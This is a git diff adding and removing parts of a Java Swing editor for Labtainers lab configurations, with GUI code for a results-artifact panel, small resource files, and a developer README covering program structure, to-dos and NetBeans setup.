+ + // CORE FUNCTIONS// + + // Adds artifact panel + public int resultsPanePanelLength = 0; + private JScrollBar resultsScrollPaneBar; + private void addResultsPanel(ArtifactPanels panel){ + //Resize the JPanel Holding all the ResultArtifactsPanels to fit another one (makes the scroll bar resize and should show all objects listed) + //as of 8/24/2020 the PanelofArtifacts uses a flow layout with a horizontal gap of 5, that's where the 5 comes from in the line below + resultsPanePanelLength+=panel.getPreferredSize().height+5; + PanelofArtifacts.setPreferredSize(new Dimension(0,resultsPanePanelLength)); + + // Create the Result Artifact Panel and add it + data.rowCount++; + PanelofArtifacts.add(panel); //takes in parent(this), containerlist, rowcount + + // Redraw GUI with the new Panel + PanelofArtifacts.revalidate(); + PanelofArtifacts.repaint(); + } + + // Removes all the artifact lines for the lab *note: this doesn't update results.config or the resultsData until the user hits the update button + private void removeAllArtifacts(){ + data.rowCount = 0; + resultsPanePanelLength = 0; + PanelofArtifacts.setPreferredSize(new Dimension(0,resultsPanePanelLength)); + Component[] componentList = PanelofArtifacts.getComponents(); + for(Component c: componentList){ + PanelofArtifacts.remove(c); + } + + PanelofArtifacts.revalidate(); + PanelofArtifacts.repaint(); + } + + // loads the artifact panels based on the current data + protected void loadUI(){ + removeAllArtifacts(); + //redraw the artifacts + for(int i=0; i < data.listofArtifacts.size(); i++) + loadArtifact(data.listofArtifacts.get(i), i+1); + } + + // Load the artifactlinePanel into GUI + private void loadArtifact(ArtifactValues artifactVal, int rowNum){ + ArtifactPanels newArtifact = new ArtifactPanels(this, ResultsData.containerList, rowNum, + artifactVal.resultTag, + artifactVal.container, + artifactVal.fileID, + artifactVal.fieldType, + artifactVal.fieldID, + artifactVal.lineType, + artifactVal.lineID, + artifactVal.timeStampType, + artifactVal.timeStampDelimiter, + artifactVal.comments); + addResultsPanel(newArtifact); + } + + //Updates the list of artifacts and redraws them on screen + public void refresh(){ + data.updateListofArtifacts(PanelofArtifacts); + loadUI(); + } + + + // OTHER // + + public void refactorContainerReferenceInUI(String oldName, String newName){ + data.updateListofArtifacts(PanelofArtifacts); + data.refactorContainerReference(oldName, newName); + saved.refactorContainerReference(oldName, newName); + loadUI(); + } + + //Check if the the current state of the UI matches with what's saved in the results.config + /* + void checkUnsavedChangesMade(){ + data.updateListofArtifacts(PanelofArtifacts); + + if(artifactValuesDiffer(data.listofArtifacts, data.getArtifactValuesOfConfigFile())){ + int confirmed = JOptionPane.showConfirmDialog(null, + "There are Unsaved Changes. Are you sure you want to exit the program?", "Unsaved Changes", + JOptionPane.YES_NO_OPTION); + + if (confirmed == JOptionPane.YES_OPTION) + dispose(); + else + setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); + } + else + dispose(); + } + */ + + + // GETTERS // + + //Gets the panel holding the artifacts + protected JPanel getPanelofArtifacts(){ + return PanelofArtifacts; + } + + + /** + * @param args the command line arguments + */ + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + // + + /* Create and display the dialog */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + ResultsUI dialog = new ResultsUI(new javax.swing.JFrame(), true); + dialog.addWindowListener(new java.awt.event.WindowAdapter() { + @Override + public void windowClosing(java.awt.event.WindowEvent e) { + System.exit(0); + } + }); + dialog.setVisible(true); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CancelButton; + private javax.swing.JButton CreateButton; + private javax.swing.JPanel PanelofArtifacts; + private javax.swing.JButton RemoveAllButton; + private javax.swing.JScrollPane ScrollPaneOfArtifacts; + private javax.swing.JButton UpdateButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel5; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/UI.ini b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/UI.ini new file mode 100644 index 000000000..969417969 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/UI.ini @@ -0,0 +1,3 @@ +labtainerPath= +prevLab= +textEditor= diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/base.list b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/base.list new file mode 100644 index 000000000..596248b5a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/base.list @@ -0,0 +1,9 @@ +base2 +network2 +network.ssh2 +firefox +wireshark2 +java +lamp.xtra +centos.xtra +bird diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/labtainer5-sm.png new file mode 100644 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/resources/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/labtainers.mainui.jar b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/labtainers.mainui.jar new file mode 100644 index 000000000..57b5b68a8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/labtainers.mainui.jar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/mainui.jar b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/mainui.jar new file mode 100644 index 000000000..92ba7f707 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/staging/dist/mainui.jar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/test.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/test.sh new file mode 100755 index 000000000..7517478b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/test.sh @@ -0,0 +1,3 @@ +#!/bin/bash +#1.4 +gnome-terminal -e 'vi example' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/README.txt new file mode 100644 index 000000000..0f25c9a0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/README.txt @@ -0,0 +1,115 @@ +9/8/2020 +CODE WRITTEN BY: Daniel Liao + +PROGRAM/CODE STRUCTURE: + +- The mainUI object has a 'lab' data object inside that stores the current state of the UI. + - This 'lab' data object includes: + - List of 'Container' data objects + - List of 'Network' data objects + - 'Results' Data object + - 'Goals' Data object + - When a user saves the lab the program writes whatever is in the 'lab' data object + to the lab files, namely start.config, results.config, and goals.config. + - All Results UI/Data code are in their own package + and all Goals UI/Data code are in their own package +- Each Container/Network Panel Object has a Container/Network data object + that references the same Contaienr/Network data object in the data object + lists in the 'lab' data object. + - So when you press confirm for each container/network configuration + dialog box, it changes the Container/Network data object in the + 'lab' data object. + +- The Results/Goals UI have their own results data object, NOT a reference pointing to + the results/goals data object in the 'lab' data object. + - When initially opening the results/goals UI the results/goals data object here is + a copy from the main UI's 'lab' data. + - When the user presses confirm changes in the Goals/Results UI, it makes a deep copy + of the current data state here and sets it to the results/goals data object in the + 'lab' data object. + +-Immediate changes to a lab's files and directories occur when the user: + - Deletes a container + - Renames a container + - Adds a container + - Edit a container's dockerfile + +- All other changes are written to the labs files when the user + presses save lab/save lab as. + + +TODOS: + +- RUN/BUILD Button +- Validation on User Input outside of Goals and Results UI +- Tooltips on all the fields +- LOGS Button (Pulls up terminal window that spits program output) +- Parameter Configuration Button/UI +- Menu Items + - Help + - Help/About + - Help/Check For Updates +- UI Consistency in Goals UI and Results UI when a results artifact line is modified/deleted + and container is renamed/deleted/added, respectively + + +NOTES AND CONCERNS TO ADDRESS: + +- The program as of now has a high potential for bugs, so + it's imperative to do extensive testing for a series of + actions. + + Ex. Having the Results UI opened and deleting a container + that an artifact line is referencing. Does the Results visual + interface have continuity? + +- The project was 3 main functions from 3 seperate packages, + so the current build script may not work + +- When user updates the LABTAINERS DIR path, what happens if the new set path is a + place where the currently opened lab does not exist. A bug can occur if the + user opens a lab, saves/save as a lab, renames a conainer, adds a container, + or deletes a container. (Essentially any part of the program that references the + lab path, since the lab path is relative to the LABTAINERS DIR) + +- Parts of the UI that use a JPanel and JScrollPane, may make use of magic numbers when + adding and removing subpanels from the JPanel to adjust for the exact needed height + to fit all the subpanels visibly. + +UI DEVELOPER NOTE: +- To ensure you can build and run the netbeans project for the UI, follow these steps: + Installing Netbeans: + 1) sudo apt-get update + 2) sudo snap install netbeans --classic + 3) bash + + Installing Java JDK 14 (from method 2 of https://computingforgeeks.com/how-to-install-java-14-on-ubuntu-debian/) + 4) sudo add-apt-repository ppa:linuxuprising/java + 5) sudo apt -y install oracle-java14-installer + 6) sudo apt -y install oracle-java14-set-default + 7) sudo nano /etc/profile.d/jdk.sh + a) Add "export PATH=$PATH:$JAVA_HOME/bin" + 8) source /etc/profile.d/jdk.sh + + Opening Netbeans and Setting the environment + 9) netbeans + In the netbeans program... + 10) open the netbeans project folder 'MainUI' + 11) install the plugins that pop up + 12) Right-click 'MainUI' in the 'Projects' tab and select 'Resolve Project Problems' + 13) Select Resolve + 14) If the Java Platform Manager pops up then select 'Add Platform' + 15) Make sure 'Java Standard Edition' is selected and press Next. + 15) Find the folder '/usr/lib/jvm/java-14-oracle' + 16) Press Next and then Finish + 17) Ensure that 'JDK 14' is selected (not 'JDK 14 (Default)') in the Java Platform Manager, and press Close. + 18) Select the next Project Problem which should be "Some dependency artifacts are not in..." and press Resolve. + 19) Press Close when finished. + 20) Close netbeans and reopen it by entering 'netbeans' in the terminal + 21) Press the run button and when prompted for the main class select "labtainers.mainui.MainWindow" and enter. + + Now you should be all set to develop the labtainers UI + +If you have any questions about the program and code, feel free to contact me at danielliao22@gmail.com + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml deleted file mode 100644 index 33706d5f7..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml +++ /dev/null @@ -1,73 +0,0 @@ - - - - - - - - - - - Builds, tests, and runs the project ResultsUIAug30. - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf deleted file mode 100644 index 1574df4a2..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf +++ /dev/null @@ -1,3 +0,0 @@ -Manifest-Version: 1.0 -X-COMMENT: Main-Class will be added automatically by build - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml deleted file mode 100644 index 89fe3d83d..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml +++ /dev/null @@ -1,1420 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set src.dir - Must set test.src.dir - Must set build.dir - Must set dist.dir - Must set build.classes.dir - Must set dist.javadoc.dir - Must set build.test.classes.dir - Must set build.test.results.dir - Must set build.classes.excludes - Must set dist.jar - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set javac.includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - No tests executed. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must set JVM to use for profiling in profiler.info.jvm - Must set profiler agent JVM arguments in profiler.info.jvmargs.agent - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select some files in the IDE or set javac.includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - To run this application from the command line without Ant, try: - - java -jar "${dist.jar.resolved}" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set run.class - - - - Must select one file in the IDE or set run.class - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set debug.class - - - - - Must select one file in the IDE or set debug.class - - - - - Must set fix.includes - - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - Must select one file in the IDE or set profile.class - This target only works when run from inside the NetBeans IDE. - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - - - - - This target only works when run from inside the NetBeans IDE. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select one file in the IDE or set run.class - - - - - - Must select some files in the IDE or set test.includes - - - - - Must select one file in the IDE or set run.class - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Must select some files in the IDE or set javac.includes - - - - - - - - - - - - - - - - - - - - Some tests failed; see details above. - - - - - - - - - Must select some files in the IDE or set test.includes - - - - Some tests failed; see details above. - - - - Must select some files in the IDE or set test.class - Must select some method in the IDE or set test.method - - - - Some tests failed; see details above. - - - - - Must select one file in the IDE or set test.class - - - - Must select one file in the IDE or set test.class - Must select some method in the IDE or set test.method - - - - - - - - - - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - Must select one file in the IDE or set applet.url - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties deleted file mode 100644 index 3236f5d57..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties +++ /dev/null @@ -1,8 +0,0 @@ -build.xml.data.CRC32=06f40a7b -build.xml.script.CRC32=dc6ed3ed -build.xml.stylesheet.CRC32=8064a381@1.80.1.48 -# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. -# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. -nbproject/build-impl.xml.data.CRC32=06f40a7b -nbproject/build-impl.xml.script.CRC32=486037cd -nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties deleted file mode 100644 index 9436b19f6..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties +++ /dev/null @@ -1,2 +0,0 @@ -compile.on.save=true -user.properties.file=C:\\Users\\Dan\\AppData\\Roaming\\NetBeans\\8.2\\build.properties diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties deleted file mode 100644 index a6e77a4fd..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties +++ /dev/null @@ -1,75 +0,0 @@ -annotation.processing.enabled=true -annotation.processing.enabled.in.editor=false -annotation.processing.processor.options= -annotation.processing.processors.list= -annotation.processing.run.all.processors=true -annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output -build.classes.dir=${build.dir}/classes -build.classes.excludes=**/*.java,**/*.form -# This directory is removed when the project is cleaned: -build.dir=build -build.generated.dir=${build.dir}/generated -build.generated.sources.dir=${build.dir}/generated-sources -# Only compile against the classpath explicitly listed here: -build.sysclasspath=ignore -build.test.classes.dir=${build.dir}/test/classes -build.test.results.dir=${build.dir}/test/results -# Uncomment to specify the preferred debugger connection transport: -#debug.transport=dt_socket -debug.classpath=\ - ${run.classpath} -debug.test.classpath=\ - ${run.test.classpath} -# Files in build.classes.dir which should be excluded from distribution jar -dist.archive.excludes= -# This directory is removed when the project is cleaned: -dist.dir=dist -dist.jar=${dist.dir}/ResultsUIAug30.jar -dist.javadoc.dir=${dist.dir}/javadoc -excludes= -includes=** -jar.compress=false -javac.classpath=\ - ${libs.absolutelayout.classpath} -# Space-separated list of extra javac options -javac.compilerargs= -javac.deprecation=false -javac.external.vm=true -javac.processorpath=\ - ${javac.classpath} -javac.source=1.8 -javac.target=1.8 -javac.test.classpath=\ - ${javac.classpath}:\ - ${build.classes.dir} -javac.test.processorpath=\ - ${javac.test.classpath} -javadoc.additionalparam= -javadoc.author=false -javadoc.encoding=${source.encoding} -javadoc.noindex=false -javadoc.nonavbar=false -javadoc.notree=false -javadoc.private=false -javadoc.splitindex=true -javadoc.use=true -javadoc.version=false -javadoc.windowtitle= -main.class=ResultsUI.ResultsUI -manifest.file=manifest.mf -meta.inf.dir=${src.dir}/META-INF -mkdist.disabled=false -platform.active=default_platform -run.classpath=\ - ${javac.classpath}:\ - ${build.classes.dir} -# Space-separated list of JVM arguments used when running the project. -# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. -# To set system properties for unit tests define test-sys-prop.name=value: -run.jvmargs= -run.test.classpath=\ - ${javac.test.classpath}:\ - ${build.test.classes.dir} -source.encoding=UTF-8 -src.dir=src -test.src.dir=test diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml deleted file mode 100644 index 1f8e85a84..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml +++ /dev/null @@ -1,15 +0,0 @@ - - - org.netbeans.modules.java.j2seproject - - - ResultsUIAug30 - - - - - - - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java deleted file mode 100644 index e121ba1e7..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.java +++ /dev/null @@ -1,355 +0,0 @@ -package ResultsUI; - - -import static ResultsUI.ResultsData.artifactValuesDiffer; -import java.awt.Component; -import javax.swing.JFrame; -import javax.swing.JOptionPane; -import javax.swing.JPanel; - -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ - -/** - * - * @author Dan - */ -public class ResultsUI extends javax.swing.JFrame { - ResultsData dataUI; - - public ResultsUI() { - initComponents(); - LabNotExist.setVisible(false); - - dataUI = new ResultsData(); - } - - /** - * This method is called from within the constructor to initialize the form. - * WARNING: Do NOT modify this code. The content of this method is always - * regenerated by the Form Editor. - */ - @SuppressWarnings("unchecked") - // //GEN-BEGIN:initComponents - private void initComponents() { - - ScrollPaneOfArtifacts = new javax.swing.JScrollPane(); - PanelofArtifacts = new javax.swing.JPanel(); - UpdateButton = new javax.swing.JButton(); - jLabel2 = new javax.swing.JLabel(); - RemoveAllButton = new javax.swing.JButton(); - jLabel9 = new javax.swing.JLabel(); - CreateButton = new javax.swing.JButton(); - jLabel3 = new javax.swing.JLabel(); - jLabel5 = new javax.swing.JLabel(); - jLabel1 = new javax.swing.JLabel(); - LabNameTextField = new javax.swing.JTextField(); - LabNotExist = new javax.swing.JLabel(); - - setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); - setBackground(new java.awt.Color(255, 255, 255)); - setMinimumSize(new java.awt.Dimension(1590, 500)); - setPreferredSize(new java.awt.Dimension(1585, 389)); - addWindowListener(new java.awt.event.WindowAdapter() { - public void windowClosing(java.awt.event.WindowEvent evt) { - formWindowClosing(evt); - } - }); - - ScrollPaneOfArtifacts.setAutoscrolls(true); - ScrollPaneOfArtifacts.setMaximumSize(new java.awt.Dimension(1300, 800)); - - PanelofArtifacts.setLayout(new javax.swing.BoxLayout(PanelofArtifacts, javax.swing.BoxLayout.PAGE_AXIS)); - ScrollPaneOfArtifacts.setViewportView(PanelofArtifacts); - - UpdateButton.setText("Update"); - UpdateButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - UpdateButtonActionPerformed(evt); - } - }); - - jLabel2.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel2.setText("Container"); - jLabel2.setToolTipText("Identifies the container hosting the file. \nIf \"ALL\" is selected, then the file is across all the containers."); - - RemoveAllButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N - RemoveAllButton.setText("Remove All"); - RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - RemoveAllButtonActionPerformed(evt); - } - }); - - jLabel9.setFont(new java.awt.Font("Arial Black", 0, 12)); // NOI18N - jLabel9.setText("Lab Name: "); - - CreateButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N - CreateButton.setText("Create"); - CreateButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - CreateButtonActionPerformed(evt); - } - }); - - jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel3.setText("Field Type"); - jLabel3.setToolTipText("The mode in which a value is found."); - - jLabel5.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel5.setText("File"); - jLabel5.setToolTipText("File should either be a file path or a program/utility name with the \".stdin\", \".stdout\", or \".prgout\" extension.\n\n Ex. \"test.stdin\", \".local/result/sniff.txt\" "); - - jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N - jLabel1.setText("Result Tag"); - jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); - - LabNameTextField.setPreferredSize(new java.awt.Dimension(6, 25)); - LabNameTextField.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - LabNameTextFieldActionPerformed(evt); - } - }); - - LabNotExist.setFont(new java.awt.Font("Tahoma", 1, 14)); // NOI18N - LabNotExist.setText("Lab does not exist!"); - - javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); - getContentPane().setLayout(layout); - layout.setHorizontalGroup( - layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createSequentialGroup() - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createSequentialGroup() - .addContainerGap() - .addComponent(CreateButton) - .addGap(10, 10, 10) - .addComponent(RemoveAllButton) - .addGap(98, 98, 98) - .addComponent(jLabel9) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(LabNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 378, javax.swing.GroupLayout.PREFERRED_SIZE) - .addGap(18, 18, 18) - .addComponent(LabNotExist) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 344, Short.MAX_VALUE) - .addComponent(UpdateButton)) - .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.DEFAULT_SIZE, 1300, Short.MAX_VALUE)) - .addContainerGap()) - .addGroup(layout.createSequentialGroup() - .addGap(60, 60, 60) - .addComponent(jLabel1) - .addGap(74, 74, 74) - .addComponent(jLabel2) - .addGap(66, 66, 66) - .addComponent(jLabel5) - .addGap(131, 131, 131) - .addComponent(jLabel3) - .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) - ); - layout.setVerticalGroup( - layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(layout.createSequentialGroup() - .addContainerGap() - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(CreateButton) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(RemoveAllButton) - .addComponent(jLabel9) - .addComponent(LabNameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) - .addComponent(UpdateButton) - .addComponent(LabNotExist))) - .addGap(14, 14, 14) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(jLabel1) - .addComponent(jLabel2) - .addComponent(jLabel5) - .addComponent(jLabel3)) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.DEFAULT_SIZE, 317, Short.MAX_VALUE)) - ); - - pack(); - }// //GEN-END:initComponents - - private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed - update(); - }//GEN-LAST:event_UpdateButtonActionPerformed - - private void update(){ - if(dataUI.labloaded) - dataUI.writeResultsConfig(PanelofArtifacts); - } - - private void LabNameTextFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LabNameTextFieldActionPerformed - loadLab(); - }//GEN-LAST:event_LabNameTextFieldActionPerformed - - //Checks if the lab exists and will load lab's result config if it does - private void loadLab(){ - dataUI = new ResultsData(getLabName()); - //System.out.println("RowCount(Load): " + dataUI.rowCount); - - if(dataUI.labloaded){ - LabNotExist.setVisible(false); - artifactsPanelRedraw(); - } - else - LabNotExist.setVisible(true); - } - - private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed - createFreshArtifact(); - }//GEN-LAST:event_CreateButtonActionPerformed - - //Creates and loads a new artifact row - private void createFreshArtifact(){ - if(dataUI.labloaded){ - dataUI.rowCount++; - ArtifactPanels newArtifact = new ArtifactPanels(this, dataUI.containerList, dataUI.rowCount); - PanelofArtifacts.add(newArtifact); - PanelofArtifacts.revalidate(); - PanelofArtifacts.repaint(); - } - } - - private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed - removeAllButton(); - }//GEN-LAST:event_RemoveAllButtonActionPerformed - - private void removeAllButton(){ - if(dataUI.labloaded){ - if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ - removeAllArtifacts(); - dataUI.rowCount = 0; - - } - } - } - - private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing - checkUnsavedChangesMade(); - }//GEN-LAST:event_formWindowClosing - - //Check if the the current state of the UI matches with what's saved in the goals.config - void checkUnsavedChangesMade(){ - if(dataUI.labloaded){ - dataUI.updateListofArtifacts(PanelofArtifacts); - - if(artifactValuesDiffer(dataUI.listofArtifacts, dataUI.getArtifactValuesOfConfigFile())){ - int confirmed = JOptionPane.showConfirmDialog(null, - "There are Unsaved Changes. Are you sure you want to exit the program?", "Unsaved Changes", - JOptionPane.YES_NO_OPTION); - - if (confirmed == JOptionPane.YES_OPTION) - dispose(); - else - setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); - } - else - dispose(); - } - } - -//General Methods - //Updates the list of artifacts and redraws them on screen - void refresh(){ - dataUI.updateListofArtifacts(PanelofArtifacts); - artifactsPanelRedraw(); - } - - //Redraws the artifacts Panel - void artifactsPanelRedraw(){ - removeAllArtifacts(); - //redraw the artifacts - 